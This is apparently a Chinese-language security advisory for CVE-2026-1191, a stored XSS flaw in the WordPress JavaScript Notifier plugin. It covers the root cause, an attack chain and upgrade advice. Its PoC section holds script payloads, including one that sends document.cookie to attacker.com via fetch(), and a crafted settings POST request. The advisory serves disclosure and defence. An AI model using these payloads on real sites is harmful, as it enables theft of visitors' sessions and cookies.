CVE-2026-1191 CVSS 4.4 中危

CVE-2026-1191: WordPress JavaScript Notifier插件存储型XSS漏洞

披露日期: 2026-01-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-1191

漏洞类型

存储型XSS (Cross-Site Scripting)

CVSS评分

4.4 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

JavaScript Notifier plugin for WordPress

漏洞概述

CVE-2026-1191是WordPress的JavaScript Notifier插件中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞影响1.2.8及之前的所有版本，源于插件设置页面中用户输入的验证和转义机制不完善。攻击者通过利用wp_footer动作中的用户提供的属性，注入恶意JavaScript代码。由于漏洞属于存储型XSS，恶意脚本会被永久保存在数据库中，当用户访问包含注入代码的页面时，脚本会自动执行。成功利用此漏洞需要攻击者具备管理员级别权限。攻击者可利用此漏洞窃取会话Cookie、劫持用户操作、植入恶意重定向或进行钓鱼攻击，对网站和用户安全构成威胁。

技术细节

该漏洞的根本原因在于JavaScript Notifier插件的wp_footer动作处理程序对用户输入的属性值缺乏充分的输入清理和输出转义。插件在1.2.8版本中通过wp_footer钩子输出用户配置的JavaScript代码，但未能正确过滤特殊字符如<、>、"、'等。攻击者（具有管理员权限）可通过插件设置界面注入包含恶意JavaScript代码的payload，该payload会被存储在WordPress数据库中。当任何用户访问网站页面时，存储的恶意脚本会随页面一起被加载执行。由于攻击者拥有管理员权限，他们可以直接访问插件设置页面，通过修改插件配置参数来注入XSS payload。攻击成功后，恶意脚本拥有当前访问用户的权限上下文，可执行任意客户端操作。

攻击链分析

STEP 1

信息收集

攻击者确认目标网站使用WordPress且安装了JavaScript Notifier插件版本<=1.2.8

STEP 2

权限获取

攻击者通过社会工程、密码爆破或其他方式获取WordPress管理员账户凭据

STEP 3

漏洞注入

管理员登录后访问插件设置页面，在JavaScript Notifier配置字段中注入恶意XSS payload

STEP 4

数据持久化

恶意payload作为插件设置选项值被存储到WordPress数据库的wp_options表中

STEP 5

漏洞触发

当用户访问网站任何页面时，wp_footer动作触发，插件输出未转义的用户输入，XSS payload执行

STEP 6

恶意行为执行

注入的JavaScript在受害者浏览器中执行，可窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress JavaScript Notifier XSS PoC -->
<!-- 攻击前提：需要管理员权限登录WordPress -->

<!-- PoC Payload (注入到插件设置中) -->
<script>alert(document.cookie)</script>

<!-- 或更复杂的payload -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

<!-- 利用步骤： -->
<!-- 1. 登录WordPress后台作为管理员 -->
<!-- 2. 导航到 Settings > JavaScript Notifier -->
<!-- 3. 在设置字段中注入上述XSS payload -->
<!-- 4. 保存设置 -->
<!-- 5. 任何访问网站的用户都会触发XSS -->

<!-- 示例：修改插件配置文件的恶意请求 -->
POST /wp-admin/options-general.php?page=javascript-notifier
Content-Type: application/x-www-form-urlencoded

jn_code=<script>alert(document.domain)</script>&jn_enable=1&submit=Save

影响范围

JavaScript Notifier plugin for WordPress <= 1.2.8

防御指南

临时缓解措施

立即将JavaScript Notifier插件升级到1.2.9或最新版本。如果暂时无法升级，可暂时禁用该插件，或在主题的functions.php中添加临时过滤器禁用插件的wp_footer输出。同时审查所有管理员账户，确保没有异常账户存在。建议启用Web应用防火墙(WAF)规则来检测和阻止XSS攻击尝试。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表